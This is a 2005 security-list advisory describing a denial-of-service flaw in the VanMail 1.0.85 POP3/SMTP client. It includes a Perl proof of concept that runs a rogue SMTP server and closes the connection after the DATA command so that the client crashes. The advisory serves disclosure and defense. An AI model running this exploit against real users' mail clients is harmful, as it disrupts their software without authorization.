[NT] VanMail DoS

• Previous message: SecuriTeam: "[UNIX] Ethereal srvloc Buffer Overflow"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: list@securiteam.com
Date: 2 Nov 2005 09:23:19 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

  VanMail DoS
------------------------------------------------------------------------

SUMMARY

" <http://www.vandaveer.com/vanmail/> VanMail is a powerful POP3/SMTP
email client that puts you in control of what messages you want to
receive."

VanMail can be caused to crash when the response to SMTP DATA command is
answered by the user closing the socket.

DETAILS

Vulnerable Systems:
 * VanMail version 1.0.85

Exploit:
#!/usr/bin/perl

###############################
# Gss-IT Research And Security Labs #
###############################
# #
# www.GssIT.com #
# #
###############################
# VanMail Ver 1.0.85 Denial Of Service PoC #
###############################
# Use This PoC For Educational Purposes Only #
###############################

use IO::Socket;
use Net::hostent;
use strict;

my $port = "25";

my $server = IO::Socket::INET->new
(
LocalPort => $port,
Type => SOCK_STREAM,
Reuse => 1,
Listen => 5
) or die "Couldn't create Smtp-Server.\n";

while (my $client = $server->accept())
 {

 
 $client->autoflush(1);
 
 my $hostinfo = gethostbyaddr($client->peeraddr);
 printf "=>Connect from %s<=\n", $hostinfo->name ;
 print $client "220 Smtp-Server\r\n" ; # Banner
 
 while ( <$client> )
 
   {
     
     print $_;
     
     next unless /\S/;
     if (/quit|exit/i) { last; }
     elsif (/HELO/i ) { print $client "250 Smtp-Server\n"; }
     elsif (/MAIL FROM/i ) { print $client "250 Ok\n"; }
     elsif (/RCPT TO/i ) { print $client "250 Ok\n"; }
     elsif (/DATA/i ) { print $client "354 Start\n";
                               close $client; } # <==
   }
   
   close $client;
   
 }

#EoF

ADDITIONAL INFORMATION

The information has been provided by <mailto:gss_it@yahoo.com> Ziv Kamir.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

• Previous message: SecuriTeam: "[UNIX] Ethereal srvloc Buffer Overflow"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]